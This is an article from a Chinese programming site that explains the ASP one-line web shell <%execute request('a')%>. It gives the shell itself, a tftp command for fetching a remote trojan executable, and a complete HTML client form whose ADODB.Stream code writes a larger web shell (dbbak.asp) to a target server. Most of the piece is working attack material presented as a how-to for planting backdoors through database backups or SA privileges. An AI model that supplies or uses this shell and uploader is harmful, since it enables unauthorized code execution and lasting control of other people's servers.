程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> ASP編程 >> 關於ASP編程 >> asp一句話木馬原理分析

asp一句話木馬原理分析

編輯:關於ASP編程

通過HTTP協議來訪問
一句話木馬的使用范圍(我只列舉了2種):

1)只有數據庫備份的情況
數據庫備份成asp文件時候,不出現“ 編譯錯誤,缺少腳本關閉標志%>"

2)SA權限的時候,一般先寫入一句話,圖個方便..(當然,直接tftp上傳鴿子運行,那更快)

tftp -i ip get server.exe


一句話木馬<%execute request("a")%>的原理:

首先知道
execute()函數,是用來執行asp代碼的.就是負責執行我們上傳的大馬,將馬交由asp.dll解析.上面的代碼<%execute request("a")%>可以這樣來解釋:

<% 
if request("a")<>"" then execute request("a") 
%>

如果a不為空的時候執行.執行什麼呢?...

if a != 0

下面我們來看一下客戶端:

<form action=http://192.168.0.28/shell.asp method=post> 
<textarea name=l cols=120 rows=10 width=45> 
set lP=server.CreateObject("Adodb.Stream") '創建Adodb.Stream組件..
lP.Open 
lP.Type=2 
lP.CharSet="gb2312" 
lP.writetext request("p") 
lP.SaveToFile server.mappath("dbbak.asp"),2 
lP.Close 
set lP=nothing 
response.redirect "dbbak.asp" 
</textarea> 
<textarea name=p cols=120 rows=10 width=45>要提交的數據</textarea><BR><center><br> 
<input type=submit value=提交>


Adodb.Stream負責上傳讀取數據到服務器:

組件:"Adodb.Stream" 
有下列方法: 
Cancel 方法 
使用方法如下 
Object.Cancel 
說明:取消執行掛起的異步 Execute 或 Open 方法的調用。


WriteText 方法 
使用方法如下: 
Object.Write(Data,[Options]) 
說明:將指定的文本數據裝入對像中。 
參數說明:Data 為指定的要寫入的內容。 
Options 寫入的選項,可不指定,可選參數如下: 
adWriteChar =0 
adWriteLine =1

SaveToFile 方法 
使用方法如下: 
Object.SaveToFile(FileName,[Options]) 
說明:將對像的內容寫到FileName指定的文件中

也就是我們保存木馬的文件名dbbak.asp 
參數說明:FileName指定的文件 
Options 存取的選項,可不指定,可選參數如下: 
adSaveCreateNotExist =1 
adSaveCreateOverWrite =2

提交一句話木馬後,a的值為空 等待一個寫入的值 訪問http://www.***.com/**.asp就是等待的過程 如何准備用execute()這個函數來執行...

創建一個Adodb.Stream,負責把我們的大馬寫入到服務器當中...

同時,這個組件定義的變量SaveToFile定義了我們大馬的名字..dbbak.asp

提交到服務器後execute()函數檢測到a的值不為空了,所以就執行了我們的大馬!
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved